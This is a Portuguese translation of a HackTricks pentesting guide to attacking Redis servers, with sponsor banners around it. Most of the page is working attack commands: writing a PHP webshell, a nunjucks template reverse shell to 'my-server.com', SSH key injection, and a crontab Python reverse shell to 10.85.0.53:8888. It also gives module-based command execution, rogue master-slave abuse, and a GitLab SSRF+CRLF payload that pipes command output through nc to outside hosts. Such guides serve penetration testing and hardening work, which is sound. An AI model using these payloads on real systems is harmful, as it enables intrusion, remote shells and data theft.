hacktricks/network-services-pentesting/6379-pentesting-redis.md
2023-06-06 18:56:34 +00:00

19 KiB

6379 - Pentesting Redis

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Siga HackenProof para aprender mais sobre bugs web3

🐞 Leia tutoriais sobre bugs web3

🔔 Receba notificações sobre novos programas de recompensa por bugs

💬 Participe de discussões na comunidade

Informações Básicas

Redis é um armazenador de estrutura de dados em memória de código aberto (licenciado pela BSD), usado como um banco de dados, cache e message broker (a partir daqui). Por padrão e comumente, o Redis usa um protocolo baseado em texto simples, mas você deve ter em mente que ele também pode implementar ssl/tls. Aprenda como executar o Redis com ssl/tls aqui.

Porta padrão: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Enumeração Automática

Algumas ferramentas automatizadas que podem ajudar a obter informações de uma instância do Redis:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Enumeração Manual

Banner

O Redis é um protocolo baseado em texto, você pode simplesmente enviar o comando em um socket e os valores retornados serão legíveis. Lembre-se também de que o Redis pode ser executado usando ssl/tls (mas isso é muito estranho).

Em uma instância regular do Redis, você pode simplesmente se conectar usando nc ou também pode usar redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

O primeiro comando que você pode tentar é o info. Ele pode retornar uma saída com informações da instância do Redis ou algo como o seguinte é retornado:

-NOAUTH Authentication required.

Neste último caso, isso significa que você precisa de credenciais válidas para acessar a instância do Redis.

Autenticação do Redis

Por padrão, o Redis pode ser acessado sem credenciais. No entanto, ele pode ser configurado para suportar apenas senha ou nome de usuário + senha.
É possível definir uma senha no arquivo redis.conf com o parâmetro requirepass ou temporariamente até que o serviço seja reiniciado conectando-se a ele e executando: config set requirepass p@ss$12E45.
Além disso, um nome de usuário pode ser configurado no parâmetro masteruser dentro do arquivo redis.conf.

{% hint style="info" %} Se apenas a senha for configurada, o nome de usuário usado será "default".
Além disso, observe que não há maneira de encontrar externamente se o Redis foi configurado apenas com senha ou nome de usuário + senha. {% endhint %}

Em casos como este, você precisará encontrar credenciais válidas para interagir com o Redis, então você pode tentar força bruta.
Caso encontre credenciais válidas, você precisa autenticar a sessão após estabelecer a conexão com o comando:

AUTH <username> <password>

As credenciais válidas serão respondidas com: +OK

Enumeração autenticada

Se a instância do Redis estiver aceitando conexões anônimas ou se você encontrou algumas credenciais válidas, você pode começar a enumerar o serviço com os seguintes comandos:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Outros comandos Redis podem ser encontrados aqui e aqui.
Observe que os comandos Redis de uma instância podem ser renomeados ou removidos no arquivo redis.conf. Por exemplo, esta linha removerá o comando FLUSHDB:

rename-command FLUSHDB ""

Mais informações sobre a configuração segura de um serviço Redis podem ser encontradas aqui: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Você também pode monitorar em tempo real os comandos Redis executados com o comando monitor ou obter os 25 comandos mais lentos com slowlog get 25

Encontre mais informações interessantes sobre mais comandos Redis aqui: https://lzone.de/cheat-sheet/Redis

Dumping Database

Dentro do Redis, os bancos de dados são números que começam em 0. Você pode verificar se algum deles está sendo usado na saída do comando info dentro do bloco "Keyspace":

Ou você pode simplesmente obter todos os keyspaces (bancos de dados) com:

INFO keyspace

Nesse exemplo, o banco de dados 0 e 1 estão sendo usados. O banco de dados 0 contém 4 chaves e o banco de dados 1 contém 1. Por padrão, o Redis usará o banco de dados 0. Para fazer o dump do banco de dados 1, por exemplo, você precisa fazer o seguinte:

SELECT 1
[ ... Indicate the database ... ]
KEYS * 
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

Caso você receba o seguinte erro -WRONGTYPE Operação contra uma chave que contém um tipo de valor errado ao executar GET <KEY>, é porque a chave pode ser algo diferente de uma string ou um inteiro e requer um operador especial para exibi-la.

Para saber o tipo da chave, use o comando TYPE, exemplo abaixo para chaves de lista e hash.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

Despeje o banco de dados com npm redis-dump ou python redis-utils

Siga HackenProof para aprender mais sobre bugs web3

🐞 Leia tutoriais de bugs web3

🔔 Receba notificações sobre novas recompensas por bugs

💬 Participe de discussões na comunidade

Redis RCE

Shell Interativo

redis-rogue-server pode obter automaticamente um shell interativo ou um shell reverso no Redis (<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Informações obtidas aqui. Você precisa saber o caminho da pasta do site web:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

Se o acesso ao webshell falhar, você pode esvaziar o banco de dados após o backup e tentar novamente, lembre-se de restaurar o banco de dados.

Template Webshell

Assim como na seção anterior, você também pode sobrescrever algum arquivo de modelo html que será interpretado por um mecanismo de modelo e obter um shell.

Por exemplo, seguindo este writeup, você pode ver que o invasor injetou um shell reverso em um html interpretado pelo mecanismo de modelo nunjucks:

{{ ({}).constructor.constructor(
  "var net = global.process.mainModule.require('net'),
       cp = global.process.mainModule.require('child_process'),
       sh = cp.spawn('sh', []);
   var client = new net.Socket();
   client.connect(1234, 'my-server.com', function(){
      client.pipe(sh.stdin);
      sh.stdout.pipe(client);
      sh.stderr.pipe(client);
   });"
)()}}

{% hint style="warning" %} Observe que vários mecanismos de modelo armazenam em cache os modelos na memória, então mesmo que você os sobrescreva, o novo não será executado. Nesses casos, ou o desenvolvedor deixou a recarga automática ativa ou você precisa fazer um DoS sobre o serviço (e esperar que ele seja reiniciado automaticamente). {% endhint %}

SSH

Por favor, esteja ciente de que o resultado de config get dir pode ser alterado após outros comandos de exploração manual. Sugere-se executá-lo primeiro logo após o login no Redis. Na saída de config get dir, você pode encontrar o diretório raiz do usuário redis (geralmente /var/lib/redis ou /home/redis/.ssh), e sabendo disso, você sabe onde pode escrever o arquivo authenticated_users para acessar via ssh com o usuário redis. Se você conhece o diretório raiz de outro usuário válido onde possui permissões de gravação, também pode abusar dele:

  1. Gere um par de chaves pública-privada ssh em seu computador: ssh-keygen -t rsa

  2. Escreva a chave pública em um arquivo: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

  3. Importe o arquivo para o redis: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key

  4. Salve a chave pública no arquivo authorized_keys no servidor redis:

    root@Urahara:~# redis-cli -h 10.85.0.52
    10.85.0.52:6379> config set dir /var/lib/redis/.ssh
    OK
    10.85.0.52:6379> config set dbfilename "authorized_keys"
    OK
    10.85.0.52:6379> save
    OK
    
  5. Finalmente, você pode ssh para o servidor redis com a chave privada: ssh -i id_rsa redis@10.85.0.52

Esta técnica é automatizada aqui: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

O último exemplo é para Ubuntu, para Centos, o comando acima deve ser: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Este método também pode ser usado para ganhar bitcoin: yam

Carregar Módulo Redis

  1. Seguindo as instruções de https://github.com/n0b0dyCN/RedisModules-ExecuteCommand, você pode compilar um módulo redis para executar comandos arbitrários.

  2. Em seguida, você precisa de alguma maneira de carregar o módulo compilado

  3. Carregue o módulo carregado em tempo de execução com MODULE LOAD /path/to/mymodule.so

  4. Liste os módulos carregados para verificar se foi carregado corretamente: MODULE LIST

  5. Execute comandos:

    127.0.0.1:6379> system.exec "id"
    "uid=0(root) gid=0(root) groups=0(root)\n"
    127.0.0.1:6379> system.exec "whoami"
    "root\n"
    127.0.0.1:6379> system.rev 127.0.0.1 9999
    
  6. Descarregue o módulo sempre que quiser: MODULE UNLOAD mymodule

Bypass do sandbox LUA

Aqui você pode ver que o Redis usa o comando EVAL para executar código Lua em sandbox. No post vinculado, você pode ver como abusar disso usando a função dofile, mas aparentemente isso não é mais possível. De qualquer forma, se você puder burlar o sandbox Lua, poderá executar comandos arbitrários no sistema. Além disso, do mesmo post, você pode ver algumas opções para causar DoS.

Algumas CVEs para escapar do LUA:

Módulo Master-Slave

No redis mestre, todas as operações são automaticamente sincronizadas com o redis escravo, o que significa que podemos considerar a vulnerabilidade do redis como um redis escravo, conectado ao redis mestre que controlamos, então podemos inserir o comando em nosso próprio redis.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF conversando com Redis

Se você pode enviar uma solicitação em texto claro para o Redis, você pode comunicar-se com ele já que o Redis lerá linha por linha a solicitação e apenas responderá com erros às linhas que não entender:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Portanto, se você encontrar uma vulnerabilidade SSRF em um site e puder controlar alguns cabeçalhos (talvez com uma vulnerabilidade CRLF) ou parâmetros POST, você poderá enviar comandos arbitrários para o Redis.

Exemplo: Gitlab SSRF + CRLF para Shell

No Gitlab11.4.7 foram descobertas uma vulnerabilidade SSRF e uma CRLF. A vulnerabilidade SSRF estava na funcionalidade de importação de projeto a partir de URL ao criar um novo projeto e permitia acessar IPs arbitrários no formato [0:0:0:0:0:ffff:127.0.0.1] (isso acessará 127.0.0.1), e a vulnerabilidade CRLF foi explorada apenas adicionando caracteres %0D%0A à URL.

Portanto, foi possível abusar dessas vulnerabilidades para falar com a instância Redis que gerencia filas do gitlab e abusar dessas filas para obter execução de código. A carga útil de abuso da fila Redis é:

 multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
 exec

E a solicitação de codificação de URL abusando do SSRF e do CRLF para executar um whoami e enviar a saída via nc é:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Por alguma razão (como para o autor de https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ de onde essa informação foi retirada), a exploração funcionou com o esquema git e não com o esquema http.

__

Siga HackenProof para aprender mais sobre bugs web3

🐞 Leia tutoriais sobre bugs web3

🔔 Receba notificações sobre novas recompensas por bugs

💬 Participe de discussões na comunidade

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥